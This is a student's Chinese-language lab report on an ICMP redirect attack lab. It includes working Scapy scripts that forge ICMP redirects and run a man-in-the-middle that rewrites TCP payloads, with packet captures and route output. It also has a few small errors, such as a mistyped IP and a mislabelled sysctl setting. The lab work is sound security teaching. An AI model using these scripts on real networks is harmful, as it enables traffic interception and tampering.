ICMP Redirect Attack Lab

57118229 袁超然

3 Task 1: Launching ICMP Redirect Attack

查看 victim 的路由路径：

```
root@60e098e79ae8:/# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0
```

构造 ICMP 重定向数据包：

```
#!/usr/bin/python3
from scapy.all import *
ip = IP(src="10.9.0.11",dst="10.9.0.5")
icmp = ICMP(type=5, code=0)
icmp.gw = "10.9.0.111"
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src ="10.9.0.5",dst="192.168.60.5")
send(ip/icmp/ip2/ICMP());
```

查看 victim 的路由信息：

```
root@6eff187fc5b1:/# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0
root@6eff187fc5b1:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 46sec
```

在 victim 中 ping 目标主机，，并通过上述脚本进行 ICMP 重定向，将从 10.9.0.5 发往 192.168.60.5 的报文进行重定向，将其通过 10.9.0.111 即恶意的路由器进行转发，捕获的 ICMP 重定向包如下：

```
▸ Internet Protocol Version 4, Src: 10.9.0.11, Dst: 10.9.0.5
▾ Internet Control Message Protocol
    Type: 5 (Redirect)
    Code: 0 (Redirect for network)
    Checksum: 0xf087 [correct]
    [Checksum Status: Good]
    Gateway address: 10.9.0.111
  ▸ Internet Protocol Version 4, Src: 10.9.0.5, Dst: 192.168.60.5
  ▾ Internet Control Message Protocol
```

在通过 mtr 命令查看 traceroute 时，发现报文先后经过 10.9.0.111，到达 192.168.60.5，达到了重定向攻击的目的：

```
                         My traceroute  [v0.93]
6eff187fc5b1 (10.9.0.5)                                2021-07-13T13:05:33+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                      Packets               Pings
 Host                                 Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. malicious-router-10.9.0.111.net-  0.0%     8    0.1   0.1   0.1   0.1   0.0
 2. router.net-10.9.0.0               0.0%     8    0.1   0.2   0.1   0.3   0.1
 3. 192.168.60.5                      0.0%     7    0.1   0.1   0.1   0.4   0.1
```

Question 1

将 icmp.gw 修改为 192.168.60.6：

```
5 icmp.gw = "192.168.60.6"
```

捕获的重定向报文如下：

```
▾ Internet Control Message Protocol
    Type: 5 (Redirect)
    Code: 0 (Redirect for network)
    Checksum: 0xfe50 [correct]
    [Checksum Status: Good]
    Gateway address: 192.168.60.6
  ▸ Internet Protocol Version 4, Src: 10.9.0.5, Dst: 192.168.60.5
  ▾ Internet Control Message Protocol
```

查看 traceroute 信息，发现攻击没有成功：

```
root@6eff187fc5b1:/# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0
root@6eff187fc5b1:/# ip route show cache
```

```
                         My traceroute  [v0.93]
6eff187fc5b1 (10.9.0.5)                                2021-07-13T13:32:25+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                      Packets               Pings
 Host                                 Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. router.net-10.9.0.0               0.0%     6    0.1   0.1   0.1   0.1   0.0
 2. 192.168.60.5                      0.0%     5    0.1   0.1   0.1   0.1   0.0
```

Question 2

将 icmp.gw 修改为 192.168.60.10：

```
5 icmp.gw = "192.168.60.10"
```

捕获的重定向报文如下：

```
Internet Control Message Protocol
  Type: 5 (Redirect)
  Code: 0 (Redirect for network)
  Checksum: 0xfe4c [correct]
  [Checksum Status: Good]
  Gateway address: 192.168.60.10
▸ Internet Protocol Version 4, Src: 10.9.0.5, Dst: 192.168.60.5
▾ Internet Control Message Protocol
```

查看 traceroute 信息，发现攻击也没有成功：

```
root@6eff187fc5b1:/# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0
root@6eff187fc5b1:/# ip route show cache
```

```
                           My traceroute  [v0.93]
6eff187fc5b1 (10.9.0.5)                               2021-07-13T13:36:51+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                Packets               Pings
 Host                         Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. router.net-10.9.0.0        0.0%     5    0.1   0.1   0.1   0.1   0.0
 2. 192.168.60.5               0.0%     4    0.1   0.1   0.1   0.1   0.0
```

Question 3

在初始化中修改 malicious router 的信息：

```
sysctls:
        - net.ipv4.ip_forward=1
        - net.ipv4.conf.all.send_redirects=1
        - net.ipv4.conf.default.send_redirects=1
        - net.ipv4.conf.eth0.send_redirects=1
```

重复以上的攻击，发现攻击无法成功：

```
root@936279440a99:/# ip route show cache
192.168.60.5 via 10.9.0.11 dev eth0
    cache <redirected> expires 245sec
```

```
                           My traceroute  [v0.93]
936279440a99 (10.9.0.5)                               2021-07-13T13:50:38+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                Packets               Pings
 Host                         Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. router.net-10.9.0.0        0.0%     3    0.1   0.1   0.1   0.1   0.0
 2. 192.168.60.5               0.0%     2    0.1   0.2   0.1   0.3   0.1
```

以上配置关闭了 ICMP 重定向，修改后导致攻击失败。

4 Task 2: Launching the MITM Attack

在 192.168.60.5 的主机处采用 nc 对 9090 端口进行监听，之后在 victim 主机处于其进行连接：

```
root@c115a4950cf7:/# nc -lp 9090
```

```
root@a6a68a49b627:/# nc -nv 192.168.60.5 9090
Connection to 192.168.60.5 9090 port [tcp/*] succeeded!
```

此时在 victim 主机处进行键盘输入，可以在 1923.168.60.5 主机处看到相同的输入信息：

```
root@a6a68a49b627:/# nc -nv 192.168.60.5 9090
Connection to 192.168.60.5 9090 port [tcp/*] succeeded!
passtheword
```

```
root@c115a4950cf7:/# nc -lp 9090
passtheword
```

接下来修改 net.ipv4.ip_forward=0，从而阻断 victim 发往 192.168.60.5 的路由路径：

```
  malicious-router:
      image: handsonsecurity/seed-ubuntu:large
      container_name: malicious-router-10.9.0.111
      tty: true
      cap_add:
              - ALL
      sysctls:
              - net.ipv4.ip_forward=0
              - net.ipv4.conf.all.send_redirects=0
              - net.ipv4.conf.default.send_redirects=0
              - net.ipv4.conf.eth0.send_redirects=0
```

之后设置脚本如下：

```
#!/usr/bin/env python3
from scapy.all import *

print("LAUNCHING MITM ATTACK.........")

def spoof_pkt(pkt):
   newpkt = IP(bytes(pkt[IP]))
   del(newpkt.chksum)
   del(newpkt[TCP].payload)
   del(newpkt[TCP].chksum)

   if pkt[TCP].payload:
       data = pkt[TCP].payload.load
       print("*** %s, length: %d" % (data, len(data)))

       # Replace a pattern
       newdata = data.replace(b'chaoranyuan', b'AAAAAAAAAAA')

       send(newpkt/newdata)
   else:
       send(newpkt)

f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

以上程序将报文的 payload 中 chaoranyuan 的部分替换为相同数量的 A。
首先，保持 victim 与目标主机的连接，并在 10.9.0.111 中运行该段脚本，此时在 victim 出输入 chaoranyuan，在目标主机 192.168.60.5 处将会出现 AAAAAAAAAAA：

```
root@66ada2df61c3:/# nc 192.168.60.5 9090
chaoranyuan
```

```
root@339950448c18:/# nc -lp 9090
AAAAAAAAAAA
```

10.9.0.111 的输出，不断发送报文：

```
Sent 1 packets.
*** b'AAAAAAAAAAA\n', length: 12
.
Sent 1 packets.
.
Sent 1 packets.
```

Question 4

仅仅需要捕获一个方向的包，即从 10.9.0.5 向 192.168.60.5 的包。因为 ICMP 重定向是单项的重定向，且命令从 10.9.0.5 通过 tcp 包发送至 192.168.60.5，所以另一方向的包没有价值。

Question 5

首先，修改过滤器如下：

```
f = 'tcp and src 10.9.0.5'
```

测试结果依然是无线循环发包，因为根据 IP 进行过滤会导致程序捕捉到自己发送的包，从而造成无限循环。

```
Sent 1 packets.
*** b'AAAAAAAAAAA\n', length: 12
.
Sent 1 packets.
*** b'AAAAAAAAAAA\n', length: 12
.
Sent 1 packets.
*** b'AAAAAAAAAAA\n', length: 12
.
Sent 1 packets.
*** b'AAAAAAAAAAA\n', length: 12
.
Sent 1 packets.
^Z
[4]+  Stopped                 mitm_sample.py
```

再次修改过滤器如下：

```
f = 'tcp and src 02:42:0a:09:00:05'
```

只发了一个包就会停止，因为根据 MAC 地址进行过滤则只有 10.9.0.5 发出的包会被捕获到，因此程序只会发出一个包。

```
root@b55638dee031:/volumes# mitm_sample.py
LAUNCHING MITM ATTACK.........
*** b'chaoranyuan\n', length: 12
.
Sent 1 packets.
```